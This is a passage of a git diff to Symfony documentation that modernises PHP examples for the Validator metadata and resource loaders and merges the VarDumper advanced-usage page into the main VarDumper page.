specific error (display some message, send an email, etc.) } diff --git a/components/validator/metadata.rst b/components/validator/metadata.rst index f5df3fa68de..782e1ee216f 100755 --- a/components/validator/metadata.rst +++ b/components/validator/metadata.rst @@ -1,6 +1,3 @@ -.. index:: - single: Validator; Metadata - Metadata ======== @@ -20,14 +17,14 @@ the ``Author`` class has at least 3 characters:: class Author { - private $firstName; + private string $firstName; - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('firstName', new Assert\NotBlank()); $metadata->addPropertyConstraint( 'firstName', - new Assert\Length(["min" => 3]) + new Assert\Length(min: 3) ); } } @@ -37,13 +34,13 @@ Getters Constraints can also be applied to the value returned by any public *getter* method, which are the methods whose names start with ``get``, ``has`` or ``is``. -This feature allows to validate your objects dynamically. +This feature allows validating your objects dynamically. Suppose that, for security reasons, you want to validate that a password field doesn't match the first name of the user. First, create a public method called ``isPasswordSafe()`` to define this custom validation logic:: - public function isPasswordSafe() + public function isPasswordSafe(): bool { return $this->firstName !== $this->password; } @@ -56,18 +53,18 @@ Then, add the Validator component configuration to the class:: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue([ - 'message' => 'The password cannot match your first name', - ])); + $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue( + message: 'The password cannot match your first name', + )); } } Classes ------- -Some constraints allow to validate the entire object. For example, the +Some constraints allow validating the entire object. For example, the :doc:`Callback </reference/constraints/Callback>` constraint is a generic constraint that's applied to the class itself. @@ -77,7 +74,7 @@ validation logic:: // ... use Symfony\Component\Validator\Context\ExecutionContextInterface; - public function validate(ExecutionContextInterface $context) + public function validate(ExecutionContextInterface $context): void { // ... } @@ -90,7 +87,7 @@ Then, add the Validator component configuration to the class:: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addConstraint(new Assert\Callback('validate')); } diff --git a/components/validator/resources.rst b/components/validator/resources.rst index 7f9b02fb544..7d6cd0e8e5d 100644 --- a/components/validator/resources.rst +++ b/components/validator/resources.rst @@ -1,6 +1,3 @@ -.. index:: - single: Validator; Loading Resources - Loading Resources ================= @@ -40,15 +37,15 @@ In this example, the validation metadata is retrieved executing the class User { - protected $name; + protected string $name; - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('name', new Assert\NotBlank()); - $metadata->addPropertyConstraint('name', new Assert\Length([ - 'min' => 5, - 'max' => 20, - ])); + $metadata->addPropertyConstraint('name', new Assert\Length( + min: 5, + max: 20, + )); } } @@ -76,7 +73,7 @@ configure the locations of these files:: .. note:: - If you want to load YAML mapping files then you will also need to install + If you want to load YAML mapping files, then you will also need to install :doc:`the Yaml component </components/yaml>`. .. tip:: @@ -86,40 +83,27 @@ configure the locations of these files:: :method:`Symfony\\Component\\Validator\\ValidatorBuilder::addXmlMappings` to configure an array of file paths. -The AnnotationLoader --------------------- +The AttributeLoader +------------------- -At last, the component provides an -:class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AnnotationLoader` to get -the metadata from the annotations of the class. Annotations are defined as ``@`` -prefixed classes included in doc block comments (``/** ... */``). For example:: +The component provides an +:class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AttributeLoader` to get +the metadata from the attributes of the class. For example:: use Symfony\Component\Validator\Constraints as Assert; // ... class User { - /** - * @Assert\NotBlank - */ - protected $name; + #[Assert\NotBlank] + protected string $name; } -To enable the annotation loader, call the -:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` -method. It takes an optional annotation reader instance, which defaults to -``Doctrine\Common\Annotations\AnnotationReader``:: - - use Symfony\Component\Validator\Validation; - - $validator = Validation::createValidatorBuilder() - ->enableAnnotationMapping() - ->getValidator(); - -To disable the annotation loader after it was enabled, call -:method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAnnotationMapping`. +To enable the attribute loader, call the +:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAttributeMapping` method. -.. include:: /_includes/_annotation_loader_tip.rst.inc +To disable the attribute loader after it was enabled, call +:method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAttributeMapping`. Using Multiple Loaders ---------------------- @@ -134,7 +118,7 @@ multiple mappings:: use Symfony\Component\Validator\Validation; $validator = Validation::createValidatorBuilder() - ->enableAnnotationMapping() + ->enableAttributeMapping() ->addMethodMapping('loadValidatorMetadata') ->addXmlMapping('validator/validation.xml') ->getValidator(); @@ -149,13 +133,13 @@ instance. To solve this problem, call the :method:`Symfony\\Component\\Validator\\ValidatorBuilder::setMappingCache` method of the Validator builder and pass your own caching class (which must -implement the PSR-6 interface :class:`Psr\\Cache\\CacheItemPoolInterface`):: +implement the PSR-6 interface ``Psr\Cache\CacheItemPoolInterface``):: use Symfony\Component\Validator\Validation; $validator = Validation::createValidatorBuilder() // ... add loaders - ->setMappingCache(new SomePsr6Cache()); + ->setMappingCache(new SomePsr6Cache()) ->getValidator(); .. note:: @@ -187,7 +171,7 @@ You can set this custom implementation using ->setMetadataFactory(new CustomMetadataFactory(...)) ->getValidator(); -.. caution:: +.. warning:: Since you are using a custom metadata factory, you can't configure loaders and caches using the ``add*Mapping()`` methods anymore. You now have to diff --git a/components/var_dumper.rst b/components/var_dumper.rst index b661bd7a44a..c6966a692af 100644 --- a/components/var_dumper.rst +++ b/components/var_dumper.rst @@ -1,7 +1,3 @@ -.. index:: - single: VarDumper - single: Components; VarDumper - The VarDumper Component ======================= @@ -71,7 +67,8 @@ current PHP SAPI: .. note:: If you want to catch the dump output as a string, please read the - :doc:`advanced documentation </components/var_dumper/advanced>` which contains examples of it. + :ref:`advanced section <var-dumper-advanced>` which contains examples of + it. You'll also learn how to change the format or redirect the output to wherever you want. @@ -131,22 +128,27 @@ the :ref:`dump_destination option <configuration-debug-dump_destination>` of the <!-- config/packages/debug.xml --> <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/debug" + <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:debug="http://symfony.com/schema/dic/debug" xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/debug https://symfony.com/schema/dic/debug/debug-1.0.xsd"> - + http://symfony.com/schema/dic/debug + https://symfony.com/schema/dic/debug/debug-1.0.xsd" + > <debug:config dump-destination="tcp://%env(VAR_DUMPER_SERVER)%"/> </container> .. code-block:: php // config/packages/debug.php - $container->loadFromExtension('debug', [ - 'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%', - ]); + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return static function (ContainerConfigurator $container): void { + $container->extension('debug', [ + 'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%', + ]); + }; Outside a Symfony application, use the :class:`Symfony\\Component\\VarDumper\\Dumper\\ServerDumper` class:: @@ -167,8 +169,8 @@ Outside a Symfony application, use the :class:`Symfony\\Component\\VarDumper\\Du 'source' => new SourceContextProvider(), ]); - VarDumper::setHandler(function ($var) use ($cloner, $dumper) { - $dumper->dump($cloner->cloneVar($var)); + VarDumper::setHandler(function (mixed $var) use ($cloner, $dumper): ?string { + return $dumper->dump($cloner->cloneVar($var)); }); .. note:: @@ -191,10 +193,6 @@ Then you can use the following command to start a server out-of-the-box: Configuring the Dump Server with Environment Variables ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -.. versionadded:: 5.2 - - The ``VAR_DUMPER_FORMAT=server`` feature was introduced in Symfony 5.2. - If you prefer to not modify the application configuration (e.g. to quickly debug a project given to you) use the ``VAR_DUMPER_FORMAT`` env var. @@ -258,7 +256,7 @@ option. Read more about this and other options in finished, press ``Esc.`` to hide the box again. If you want to use your browser search input, press ``Ctrl. + F`` or - ``Cmd. + F`` again while having focus on VarDumper's search input. + ``Cmd. + F`` again while focusing on VarDumper's search input. Using the VarDumper Component in your PHPUnit Test Suite -------------------------------------------------------- @@ -296,7 +294,7 @@ Example:: { use VarDumperTestTrait; - protected function setUp() + protected function setUp(): void { $casters = [ \DateTimeInterface::class => static function (\DateTimeInterface $date, array $a, Stub $stub): array { @@ -313,7 +311,7 @@ Example:: $this->setUpVarDumper($casters, $flags); } - public function testWithDumpEquals() + public function testWithDumpEquals(): void { $testedVar = [123, 'foo']; @@ -352,6 +350,7 @@ then its dump representation:: dump($var); .. image:: /_images/components/var_dumper/01-simple.png + :alt: Dump output showing the array with length five and all keys and values. .. note:: @@ -369,31 +368,33 @@ then its dump representation:: dump($var); .. image:: /_images/components/var_dumper/02-multi-line-str.png + :alt: Dump output showing the string on multiple lines in between three quotes. .. code-block:: php class PropertyExample { - public $publicProperty = 'The `+` prefix denotes public properties,'; - protected $protectedProperty = '`#` protected ones and `-` private ones.'; - private $privateProperty = 'Hovering a property shows a reminder.'; + public string $publicProperty = 'The `+` prefix denotes public properties,'; + protected string $protectedProperty = '`#` protected ones and `-` private ones.'; + private string $privateProperty = 'Hovering a property shows a reminder.'; } $var = new PropertyExample(); dump($var); .. image:: /_images/components/var_dumper/03-object.png + :alt: Dump output showing the PropertyExample object and all three properties with their values. .. note:: - `#14` is the internal object handle. It allows comparing two + ``#14`` is the internal object handle. It allows comparing two consecutive dumps of the same object. .. code-block:: php class DynamicPropertyExample { - public $declaredProperty = 'This property is declared in the class definition'; + public string $declaredProperty = 'This property is declared in the class definition'; } $var = new DynamicPropertyExample(); @@ -401,18 +402,20 @@ then its dump representation:: dump($var); .. image:: /_images/components/var_dumper/04-dynamic-property.png + :alt: Dump output showing the DynamicPropertyExample object and both declared and undeclared properties with their values. .. code-block:: php class ReferenceExample { - public $info = "Circular and sibling references are displayed as `#number`.\nHovering them highlights all instances in the same dump.\n"; + public string $info = "Circular and sibling references are displayed as `#number`.\nHovering them highlights all instances in the same dump.\n"; } $var = new ReferenceExample(); $var->aCircularReference = $var; dump($var); .. image:: /_images/components/var_dumper/05-soft-ref.png + :alt: Dump output showing the "aCircularReference" property value referencing the parent object, instead of showing all properties again. .. code-block:: php @@ -426,6 +429,7 @@ then its dump representation:: dump($var); .. image:: /_images/components/var_dumper/06-constants.png + :alt: Dump output with the "E_WARNING" constant shown as value of "severity". .. code-block:: php @@ -439,6 +443,7 @@ then its dump representation:: dump($var); .. image:: /_images/components/var_dumper/07-hard-ref.png + :alt: Dump output showing the referenced arrays. .. code-block:: php @@ -449,6 +454,7 @@ then its dump representation:: dump($var); .. image:: /_images/components/var_dumper/08-virtual-property.png + :alt: Dump output of the ArrayObject. .. code-block:: php @@ -462,12 +468,426 @@ then its dump representation:: dump($var); .. image:: /_images/components/var_dumper/09-cut.png + :alt: Dump output where the children of the Container object are hidden. + +.. code-block:: php + + class Foo + { + // $foo is uninitialized, which is different from being null + private int|float $foo; + public ?string $baz = null; + } + + $var = new Foo(); + dump($var); + +.. image:: /_images/components/var_dumper/10-uninitialized.png + :alt: Dump output where the uninitialized property is represented by a question mark followed by the type definition. + +.. _var-dumper-advanced: + +Advanced Usage +-------------- + +The ``dump()`` function is just a thin wrapper and a more convenient way to call +:method:`VarDumper::dump() <Symfony\\Component\\VarDumper\\VarDumper::dump>`. +You can change the behavior of this function by calling +:method:`VarDumper::setHandler($callable) <Symfony\\Component\\VarDumper\\VarDumper::setHandler>`. +Calls to ``dump()`` will then be forwarded to ``$callable``. + +By adding a handler, you can customize the `Cloners`_, `Dumpers`_ and `Casters`_ +as explained below. A simple implementation of a handler function might look +like this:: + + use Symfony\Component\VarDumper\Cloner\VarCloner; + use Symfony\Component\VarDumper\Dumper\CliDumper; + use Symfony\Component\VarDumper\Dumper\HtmlDumper; + use Symfony\Component\VarDumper\VarDumper; + + VarDumper::setHandler(function (mixed $var): ?string { + $cloner = new VarCloner(); + $dumper = 'cli' === PHP_SAPI ? new CliDumper() : new HtmlDumper(); + + return $dumper->dump($cloner->cloneVar($var)); + }); + +Cloners +~~~~~~~ + +A cloner is used to create an intermediate representation of any PHP variable. +Its output is a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data` +object that wraps this representation. + +You can create a ``Data`` object this way:: + + use Symfony\Component\VarDumper\Cloner\VarCloner; + + $cloner = new VarCloner(); + $data = $cloner->cloneVar($myVar); + // this is commonly then passed to the dumper + // see the example at the top of this page + // $dumper->dump($data); + +Whatever the cloned data structure, resulting ``Data`` objects are always +serializable. + +A cloner applies limits when creating the representation, so that one +can represent only a subset of the cloned variable. +Before calling :method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::cloneVar`, +you can configure these limits: + +:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMaxItems` + Configures the maximum number of items that will be cloned + *past the minimum nesting depth*. Items are counted using a breadth-first + algorithm so that lower level items have higher priority than deeply nested + items. Specifying ``-1`` removes the limit. + +:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMinDepth` + Configures the minimum tree depth where we are guaranteed to clone + all the items. After this depth is reached, only ``setMaxItems`` + items will be cloned. The default value is ``1``, which is consistent + with older Symfony versions. + +:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMaxString` + Configures the maximum number of characters that will be cloned before + cutting overlong strings. Specifying ``-1`` removes the limit. + +Before dumping it, you can further limit the resulting +:class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object using the following methods: + +:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withMaxDepth` + Limits dumps in the depth dimension. + +:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withMaxItemsPerDepth` + Limits the number of items per depth level. + +:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withRefHandles` + Removes internal objects' handles for sparser output (useful for tests). + +:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::seek` + Selects only sub-parts of already cloned arrays, objects or resources. + +Unlike the previous limits on cloners that remove data on purpose, these can +be changed back and forth before dumping since they do not affect the +intermediate representation internally. + +.. note:: + + When no limit is applied, a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data` + object is as accurate as the native :phpfunction:`serialize` function, + and thus could be used for purposes beyond debugging. + +Dumpers +~~~~~~~ + +A dumper is responsible for outputting a string representation of a PHP variable, +using a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object as input. +The destination and the formatting of this output vary with dumpers. + +This component comes with an :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper` +for HTML output and a :class:`Symfony\\Component\\VarDumper\\Dumper\\CliDumper` +for optionally colored command line output. + +For example, if you want to dump some ``$variable``, do:: + + use Symfony\Component\VarDumper\Cloner\VarCloner; + use Symfony\Component\VarDumper\Dumper\CliDumper; + + $cloner = new VarCloner(); + $dumper = new CliDumper(); + + $dumper->dump($cloner->cloneVar($variable)); + +By using the first argument of the constructor, you can select the output +stream where the dump will be written. By default, the ``CliDumper`` writes +on ``php://stdout`` and the ``HtmlDumper`` on ``php://output``. But any PHP +stream (resource or URL) is acceptable. + +Instead of a stream destination, you can also pass it a ``callable`` that +will be called repeatedly for each line generated by a dumper. This +callable can be configured using the first argument of a dumper's constructor, +but also using the +:method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::setOutput` +method or the second argument of the +:method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::dump` method. + +For example, to get a dump as a string in a variable, you can do:: + + use Symfony\Component\VarDumper\Cloner\VarCloner; + use Symfony\Component\VarDumper\Dumper\CliDumper; + + $cloner = new VarCloner(); + $dumper = new CliDumper(); + $output = ''; + + $dumper->dump( + $cloner->cloneVar($variable), + function (string $line, int $depth) use (&$output): void { + // A negative depth means "end of dump" + if ($depth >= 0) { + // Adds a two spaces indentation to the line + $output .= str_repeat(' ', $depth).$line."\n"; + } + } + ); + + // $output is now populated with the dump representation of $variable + +Another option for doing the same could be:: + + use Symfony\Component\VarDumper\Cloner\VarCloner; + use Symfony\Component\VarDumper\Dumper\CliDumper; + + $cloner = new VarCloner(); + $dumper = new CliDumper(); + $output = fopen('php://memory', 'r+b'); + + $dumper->dump($cloner->cloneVar($variable), $output); + $output = stream_get_contents($output, -1, 0); + + // $output is now populated with the dump representation of $variable + +.. tip:: + + You can pass ``true`` to the second argument of the + :method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::dump` + method to make it return the dump as a string:: + + $output = $dumper->dump($cloner->cloneVar($variable), true); + +Dumpers implement the :class:`Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface` +interface that specifies the +:method:`dump(Data $data) <Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface::dump>` +method. They also typically implement the +:class:`Symfony\\Component\\VarDumper\\Cloner\\DumperInterface` that frees +them from re-implementing the logic required to walk through a +:class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object's internal structure. + +The :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper` uses a dark +theme by default. Use the :method:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper::setTheme` +method to use a light theme:: + + // ... + $htmlDumper->setTheme('light'); + +The :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper` limits string +length and nesting depth of the output to make it more readable. These options +can be overridden by the third optional parameter of the +:method:`dump(Data $data) <Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface::dump>` +method:: + + use Symfony\Component\VarDumper\Dumper\HtmlDumper; + + $output = fopen('php://memory', 'r+b'); + + $dumper = new HtmlDumper(); + $dumper->dump($var, $output, [ + // 1 and 160 are the default values for these options + 'maxDepth' => 1, + 'maxStringLength' => 160, + ]); + +The output format of a dumper can be fine tuned by the two flags +``DUMP_STRING_LENGTH`` and ``DUMP_LIGHT_ARRAY`` which are passed as a bitmap +in the third constructor argument. They can also be set via environment +variables when using +:method:`assertDumpEquals($dump, $data, $filter, $message) <Symfony\\Component\\VarDumper\\Test\\VarDumperTestTrait::assertDumpEquals>` +during unit testing. + +The ``$filter`` argument of ``assertDumpEquals()`` can be used to pass a +bit field of ``Caster::EXCLUDE_*`` constants and influences the expected +output produced by the different casters. + +If ``DUMP_STRING_LENGTH`` is set, then the length of a string is displayed +next to its content:: + + use Symfony\Component\VarDumper\Cloner\VarCloner; + use Symfony\Component\VarDumper\Dumper\AbstractDumper; + use Symfony\Component\VarDumper\Dumper\CliDumper; + + $varCloner = new VarCloner(); + $var = ['test']; + + $dumper = new CliDumper(); + echo $dumper->dump($varCloner->cloneVar($var), true); + + // array:1 [ + // 0 => "test" + // ] + + $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH); + echo $dumper->dump($varCloner->cloneVar($var), true); + + // (added string length before the string) + // array:1 [ + // 0 => (4) "test" + // ] + +If ``DUMP_LIGHT_ARRAY`` is set, then arrays are dumped in a shortened format +similar to PHP's short array notation:: + + use Symfony\Component\VarDumper\Cloner\VarCloner; + use Symfony\Component\VarDumper\Dumper\AbstractDumper; + use Symfony\Component\VarDumper\Dumper\CliDumper; + + $varCloner = new VarCloner(); + $var = ['test']; + + $dumper = new CliDumper(); + echo $dumper->dump($varCloner->cloneVar($var), true); + + // array:1 [ + // 0 => "test" + // ] + + $dumper = new CliDumper(null, null, AbstractDumper::DUMP_LIGHT_ARRAY); + echo $dumper->dump($varCloner->cloneVar($var), true); + + // (no more array:1 prefix) + // [ + // 0 => "test" + // ] -Learn More ----------- +If you would like to use both options, then you can combine them by +using the logical OR operator ``|``:: -.. toctree:: - :maxdepth: 1 - :glob: + use Symfony\Component\VarDumper\Cloner\VarCloner; + use Symfony\Component\VarDumper\Dumper\AbstractDumper; + use Symfony\Component\VarDumper\Dumper\CliDumper; + + $varCloner = new VarCloner(); + $var = ['test']; + + $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH | AbstractDumper::DUMP_LIGHT_ARRAY); + echo $dumper->dump($varCloner->cloneVar($var), true); + + // [ + // 0 => (4) "test" + // ] + +Casters +~~~~~~~ + +Objects and resources nested in a PHP variable are "cast" to arrays in the +intermediate :class:`Symfony\\Component\\VarDumper\\Cloner\\Data` +representation. You can customize the array representation for each object/resource +by hooking a Caster into this process. The component already includes many +casters for base PHP classes and other common classes. + +If you want to build your own Caster, you can register one before cloning +a PHP variable. Casters are registered using either a Cloner's constructor +or its ``addCasters()`` method:: + + use Symfony\Component\VarDumper\Cloner\VarCloner; + + $myCasters = [...]; + $cloner = new VarCloner($myCasters); + + // or + + $cloner->addCasters($myCasters); + +The provided ``$myCasters`` argument is an array that maps a class, +an interface or a resource type to a callable:: + + $myCasters = [ + 'FooClass' => $myFooClassCallableCaster, + ':bar resource' => $myBarResourceCallableCaster, + ]; + +As you can notice, resource types are prefixed by a ``:`` to prevent +colliding with a class name. + +Because an object has one main class and potentially many parent classes +or interfaces, many casters can be applied to one object. In this case, +casters are called one after the other, starting from casters bound to the +interfaces, the parents classes and then the main class. Several casters +can also be registered for the same resource type/class/interface. +They are called in registration order. - var_dumper/* +Casters are responsible for returning the properties of the object or resource +being cloned in an array. They are callables that accept five arguments: + +* the object or resource being cast; +* an array modeled for objects after PHP's native ``(array)`` cast operator; +* a :class:`Symfony\\Component\\VarDumper\\Cloner\\Stub` object + representing the main properties of the object (class, type, etc.); +* true/false when the caster is called nested in a structure or not; +* A bit field of :class:`Symfony\\Component\\VarDumper\\Caster\\Caster` ``::EXCLUDE_*`` + constants. + +Here is a simple caster not doing anything:: + + use Symfony\Component\VarDumper\Cloner\Stub; + + function myCaster(mixed $object, array $array, Stub $stub, bool $isNested, int $filter): array + { + // ... populate/alter $array to your needs + + return $array; + } + +For objects, the ``$array`` parameter comes pre-populated using PHP's native +``(array)`` casting operator or with the return value of ``$object->__debugInfo()`` +if the magic method exists. Then, the return value of one Caster is given +as the array argument to the next Caster in the chain. + +When casting with the ``(array)`` operator, PHP prefixes protected properties +with a ``\0*\0`` and private ones with the class owning the property. For example, +``\0Foobar\0`` will be the prefix for all private properties of objects of +type Foobar. Casters follow this convention and add two more prefixes: ``\0~\0`` +is used for virtual properties and ``\0+\0`` for dynamic ones (runtime added +properties not in the class declaration). + +.. note:: + + Although you can, it is advised to not alter the state of an object + while casting it in a Caster. + +.. tip:: + + Before writing your own casters, you should check the existing ones. + +Adding Semantics with Metadata +.............................. + +Since casters are hooked on specific classes or interfaces, they know about the +objects they manipulate. By altering the ``$stub`` object (the third argument of +any caster), one can transfer this knowledge to the resulting ``Data`` object, +thus to dumpers. To help you do this (see the source code for how it works), +the component comes with a set of wrappers for common additional semantics. You +can use: + +* :class:`Symfony\\Component\\VarDumper\\Caster\\ConstStub` to wrap a value that is + best represented by a PHP constant; +* :class:`Symfony\\Component\\VarDumper\\Caster\\ClassStub` to wrap a PHP identifier + (*i.e.* a class name, a method name, an interface, *etc.*); +* :class:`Symfony\\Component\\VarDumper\\Caster\\CutStub` to replace big noisy + objects/strings/*etc.* by ellipses; +* :class:`Symfony\\Component\\VarDumper\\Caster\\CutArrayStub` to keep only some + useful keys of an array; +* :class:`Symfony\\Component\\VarDumper\\Caster\\ImgStub` to wrap an image; +* :class:`Symfony\\Component\\VarDumper\\Caster\\EnumStub` to wrap a set of virtual + values (*i.e.* values that do not exist as properties in the original PHP data + structure, but are worth listing alongside with real ones); +* :class:`Symfony\\Component\\VarDumper\\Caster\\LinkStub` to wrap strings that can + be turned into links by dumpers; +* :class:`Symfony\\Component\\VarDumper\\Caster\\TraceStub` and their +* :class:`Symfony\\Component\\VarDumper\\Caster\\FrameStub` and +* :class:`Symfony\\Component\\VarDumper\\Caster\\ArgsStub` relatives to wrap PHP + traces (used by :class:`Symfony\\Component\\VarDumper\\Caster\\ExceptionCaster`). + +For example, if you know that your ``Product`` objects have a ``brochure`` property +that holds a file name or a URL, you can wrap them in a ``LinkStub`` to tell +``HtmlDumper`` to make them clickable:: + + use Symfony\Component\VarDumper\Caster\LinkStub; + use Symfony\Component\VarDumper\Cloner\Stub; + + function ProductCaster(Product $object, array $array, Stub $stub, bool $isNested, int $filter = 0): array + { + $array['brochure'] = new LinkStub($array['brochure']); + + return $array; + } diff --git a/components/var_dumper/advanced.rst b/components/var_dumper/advanced.rst deleted file mode 100644 index 0f429c52012..00000000000 --- a/components/var_dumper/advanced.rst +++ /dev/null @@ -1,408 +0,0 @@ -.. index:: - single: VarDumper - single: Components; VarDumper - -Advanced Usage of the VarDumper Component -========================================= - -The ``dump()`` function is just a thin wrapper and a more convenient way to call -:method:`VarDumper::dump() <Symfony\\Component\\VarDumper\\VarDumper::dump>`. -You can change the behavior of this function by calling -:method:`VarDumper::setHandler($callable) <Symfony\\Component\\VarDumper\\VarDumper::setHandler>`. -Calls to ``dump()`` will then be forwarded to ``$callable``. - -By adding a handler, you can customize the `Cloners`_, `Dumpers`_ and `Casters`_ -as explained below. A simple implementation of a handler function might look -like this:: - - use Symfony\Component\VarDumper\Cloner\VarCloner; - use Symfony\Component\VarDumper\Dumper\CliDumper; - use Symfony\Component\VarDumper\Dumper\HtmlDumper; - use Symfony\Component\VarDumper\VarDumper; - - VarDumper::setHandler(function ($var) { - $cloner = new VarCloner(); - $dumper = 'cli' === PHP_SAPI ? new CliDumper() : new HtmlDumper(); - - $dumper->dump($cloner->cloneVar($var)); - }); - -Cloners -------- - -A cloner is used to create an intermediate representation of any PHP variable. -Its output is a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data` -object that wraps this representation. - -You can create a ``Data`` object this way:: - - use Symfony\Component\VarDumper\Cloner\VarCloner; - - $cloner = new VarCloner(); - $data = $cloner->cloneVar($myVar); - // this is commonly then passed to the dumper - // see the example at the top of this page - // $dumper->dump($data); - -Whatever the cloned data structure, resulting ``Data`` objects are always -serializable. - -A cloner applies limits when creating the representation, so that one -can represent only a subset of the cloned variable. -Before calling :method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::cloneVar`, -you can configure these limits: - -:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMaxItems` - Configures the maximum number of items that will be cloned - *past the minimum nesting depth*. Items are counted using a breadth-first - algorithm so that lower level items have higher priority than deeply nested - items. Specifying ``-1`` removes the limit. - -:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMinDepth` - Configures the minimum tree depth where we are guaranteed to clone - all the items. After this depth is reached, only ``setMaxItems`` - items will be cloned. The default value is ``1``, which is consistent - with older Symfony versions. - -:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMaxString` - Configures the maximum number of characters that will be cloned before - cutting overlong strings. Specifying ``-1`` removes the limit. - -Before dumping it, you can further limit the resulting -:class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object using the following methods: - -:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withMaxDepth` - Limits dumps in the depth dimension. - -:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withMaxItemsPerDepth` - Limits the number of items per depth level. - -:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withRefHandles` - Removes internal objects' handles for sparser output (useful for tests). - -:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::seek` - Selects only sub-parts of already cloned arrays, objects or resources. - -Unlike the previous limits on cloners that remove data on purpose, these can -be changed back and forth before dumping since they do not affect the -intermediate representation internally. - -.. note:: - - When no limit is applied, a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data` - object is as accurate as the native :phpfunction:`serialize` function, - and thus could be used for purposes beyond debugging. - -Dumpers -------- - -A dumper is responsible for outputting a string representation of a PHP variable, -using a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object as input. -The destination and the formatting of this output vary with dumpers. - -This component comes with an :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper` -for HTML output and a :class:`Symfony\\Component\\VarDumper\\Dumper\\CliDumper` -for optionally colored command line output. - -For example, if you want to dump some ``$variable``, do:: - - use Symfony\Component\VarDumper\Cloner\VarCloner; - use Symfony\Component\VarDumper\Dumper\CliDumper; - - $cloner = new VarCloner(); - $dumper = new CliDumper(); - - $dumper->dump($cloner->cloneVar($variable)); - -By using the first argument of the constructor, you can select the output -stream where the dump will be written. By default, the ``CliDumper`` writes -on ``php://stdout`` and the ``HtmlDumper`` on ``php://output``. But any PHP -stream (resource or URL) is acceptable. - -Instead of a stream destination, you can also pass it a ``callable`` that -will be called repeatedly for each line generated by a dumper. This -callable can be configured using the first argument of a dumper's constructor, -but also using the -:method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::setOutput` -method or the second argument of the -:method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::dump` method. - -For example, to get a dump as a string in a variable, you can do:: - - use Symfony\Component\VarDumper\Cloner\VarCloner; - use Symfony\Component\VarDumper\Dumper\CliDumper; - - $cloner = new VarCloner(); - $dumper = new CliDumper(); - $output = ''; - - $dumper->dump( - $cloner->cloneVar($variable), - function ($line, $depth) use (&$output) { - // A negative depth means "end of dump" - if ($depth >= 0) { - // Adds a two spaces indentation to the line - $output .= str_repeat(' ', $depth).$line."\n"; - } - } - ); - - // $output is now populated with the dump representation of $variable - -Another option for doing the same could be:: - - use Symfony\Component\VarDumper\Cloner\VarCloner; - use Symfony\Component\VarDumper\Dumper\CliDumper; - - $cloner = new VarCloner(); - $dumper = new CliDumper(); - $output = fopen('php://memory', 'r+b'); - - $dumper->dump($cloner->cloneVar($variable), $output); - $output = stream_get_contents($output, -1, 0); - - // $output is now populated with the dump representation of $variable - -.. tip:: - - You can pass ``true`` to the second argument of the - :method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::dump` - method to make it return the dump as a string:: - - $output = 